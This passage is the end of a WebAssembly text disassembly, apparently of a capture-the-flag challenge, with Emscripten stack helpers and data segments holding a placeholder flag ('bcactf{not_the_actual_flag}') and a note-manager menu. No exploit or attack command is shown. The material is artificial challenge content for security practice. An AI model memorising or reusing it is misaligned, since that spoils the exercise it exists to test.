(local.get $l4)
(i32.const 1)))
(br $B0))
(br_if $B0
(i64.ne
(i64.or
(local.get $p0)
(i64.xor
(local.get $l5)
(i64.const 16777216)))
(i64.const 0)))
(local.set $l4
(i32.add
(i32.and
(local.get $l4)
(i32.const 1))
(local.get $l4))))
(global.set $g0
(i32.add
(local.get $l2)
(i32.const 32)))
(f32.reinterpret_i32
(i32.or
(local.get $l4)
(i32.and
(i32.wrap_i64
(i64.shr_u
(local.get $p1)
(i64.const 32)))
(i32.const -2147483648)))))
(func $stackSave (export "stackSave") (type $t2) (result i32)
(global.get $g0))
(func $stackRestore (export "stackRestore") (type $t5) (param $p0 i32)
(global.set $g0
(local.get $p0)))
(func $stackAlloc (export "stackAlloc") (type $t0) (param $p0 i32) (result i32)
(local $l1 i32) (local $l2 i32)
(global.set $g0
(local.tee $l1
(i32.and
(i32.sub
(global.get $g0)
(local.get $p0))
(i32.const -16))))
(local.get $l1))
(func $emscripten_stack_init (export "emscripten_stack_init") (type $t3)
(global.set $g2
(i32.const 5248752))
(global.set $g1
(i32.and
(i32.add
(i32.const 5868)
(i32.const 15))
(i32.const -16))))
(func $emscripten_stack_get_free (export "emscripten_stack_get_free") (type $t2) (result i32)
(i32.sub
(global.get $g0)
(global.get $g1)))
(func $emscripten_stack_get_base (export "emscripten_stack_get_base") (type $t2) (result i32)
(global.get $g2))
(func $emscripten_stack_get_end (export "emscripten_stack_get_end") (type $t2) (result i32)
(global.get $g1))
(table $__indirect_function_table (export "__indirect_function_table") 10 10 funcref)
(memory $memory (export "memory") 256 256)
(global $g0 (mut i32) (i32.const 5248752))
(global $g1 (mut i32) (i32.const 0))
(global $g2 (mut i32) (i32.const 0))
(elem $e0 (i32.const 1) func $f5 $f38 $f37 $f39 $f56 $f57 $f60 $f61 $f63)
(data $d0 (i32.const 1024) "bcactf{not_the_actual_flag}\00infinity\00-+ 0X0x\00-0X+0X 0X-0x+0x 0x\00%15s\00Note has been written to\00Invalid option\00nan\00inf\00Note has been deleted\00Note has been created\00%d\00\0a]=======[ MENU ]=======[\00]======================[\00] 4) Write to a note [\00] 3) Create a note [\00] 1) Print a note [\00] 2) Delete note [\00NAN\00INF\00No space for note? Exitting.\00(null)\00Invalid note index! Index must be from 1 to 8 (inclusive)\00Please choose a note (1 to 8 inclusive)\00Please choose an option (1, 2, 3, 4)\00Printing note\0a\00Send note content for note #%d\0a\00\00\19\00\0a\00\19\19\19\00\00\00\00\05\00\00\00\00\00\00\09\00\00\00\00\0b\00\00\00\00\00\00\00\00\19\00\11\0a\19\19\19\03\0a\07\00\01\00\09\0b\18\00\00\09\06\0b\00\00\0b\00\06\19\00\00\00\19\19\19\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\0e\00\00\00\00\00\00\00\00\19\00\0a\0d\19\19\19\00\0d\00\00\02\00\09\0e\00\00\00\09\00\0e\00\00\0e\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\0c\00\00\00\00\00\00\00\00\00\00\00\13\00\00\00\00\13\00\00\00\00\09\0c\00\00\00\00\00\0c\00\00\0c\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\10\00\00\00\00\00\00\00\00\00\00\00\0f\00\00\00\04\0f\00\00\00\00\09\10\00\00\00\00\00\10\00\00\10\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\12\00\00\00\00\00\00\00\00\00\00\00\11\00\00\00\00\11\00\00\00\00\09\12\00\00\00\00\00\12\00\00\12\00\00\1a\00\00\00\1a\1a\1a\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\1a\00\00\00\1a\1a\1a\00\00\00\00\00\00\09\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\14\00\00\00\00\00\00\00\00\00\00\00\17\00\00\00\00\17\00\00\00\00\09\14\00\00\00\00\00\14\00\00\14\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\16\00\00\00\00\00\00\00\00\00\00\00\15\00\00\00\00\15\00\00\00\00\09\16\00\00\00\00\00\16\00\00\16\00\000123456789ABCDEF\d1t\9e\00W\9d\bd*\80pR\0f\ff\ff>'\0a\00\00\00d\00\00\00\e8\03\00\00\10'\00\00\a0\86\01\00@B\0f\00\80\96\98\00\00\e1\f5\05\18\00\00\005\00\00\00q\00\00\00k\ff\ff\ff\ce\fb\ff\ff\92\bf\ff\ff\00\00\00\00\00\00\00\00\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\00\01\02\03\04\05\06\07\08\09\ff\ff\ff\ff\ff\ff\ff\0a\0b\0c\0d\0e\0f\10\11\12\13\14\15\16\17\18\19\1a\1b\1c\1d\1e\1f !\22#\ff\ff\ff\ff\ff\ff\0a\0b\0c\0d\0e\0f\10\11\12\13\14\15\16\17\18\19\1a\1b\1c\1d\1e\1f !\22#\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\ff\00\01\02\04\07\03\06\05\00\00\00\00\00\00\00\02\00\00\c0\03\00\00\c0\04\00\00\c0\05\00\00\c0\06\00\00\c0\07\00\00\c0\08\00\00\c0\09\00\00\c0\0a\00\00\c0\0b\00\00\c0\0c\00\00\c0\0d\00\00\c0\0e\00\00\c0\0f\00\00\c0\10\00\00\c0\11\00\00\c0\12\00\00\c0\13\00\00\c0\14\00\00\c0\15\00\00\c0\16\00\00\c0\17\00\00\c0\18\00\00\c0\19\00\00\c0\1a\00\00\c0\1b\00\00\c0\1c\00\00\c0\1d\00\00\c0\1e\00\00\c0\1f\00\00\c0\00\00\00\b3\01\00\00\c3\02\00\00\c3\03\00\00\c3\04\00\00\c3\05\00\00\c3\06\00\00\c3\07\00\00\c3\08\00\00\c3\09\00\00\c3\0a\00\00\c3\0b\00\00\c3\0c\00\00\c3\0d\00\00\d3\0e\00\00\c3\0f\00\00\c3\00\00\0c\bb\01\00\0c\c3\02\00\0c\c3\03\00\0c\c3\04\00\0c\db")
(data $d1 (i32.const 2608) "\05\00\00\00\00\00\00\00\00\00\00\00\02\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\03\00\00\00\04\00\00\008\0c\00\00\00\04\00\00\00\00\00\00\00\00\00\00\01\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\ff\ff\ff\ff\0a\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\000\0a\00\00\00\00\00\00\09\00\00\00\00\00\00\00\00\00\00\00\07\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\08\00\00\00\00\00\00\00\09\00\00\00H\10\00\00\00\04\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\ff\ff\ff\ff\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\c8\0a\00\00\00\00\00\00\05\00\00\00\00\00\00\00\00\00\00\00\07\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\03\00\00\00\09\00\00\00\88\14\00\00\00\00\00\00\00\00\00\00\00\00\00\00\02\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\ff\ff\ff\ff\ff\ff\ff\ff\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00`\0b\00\00\f0\16P\00"))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment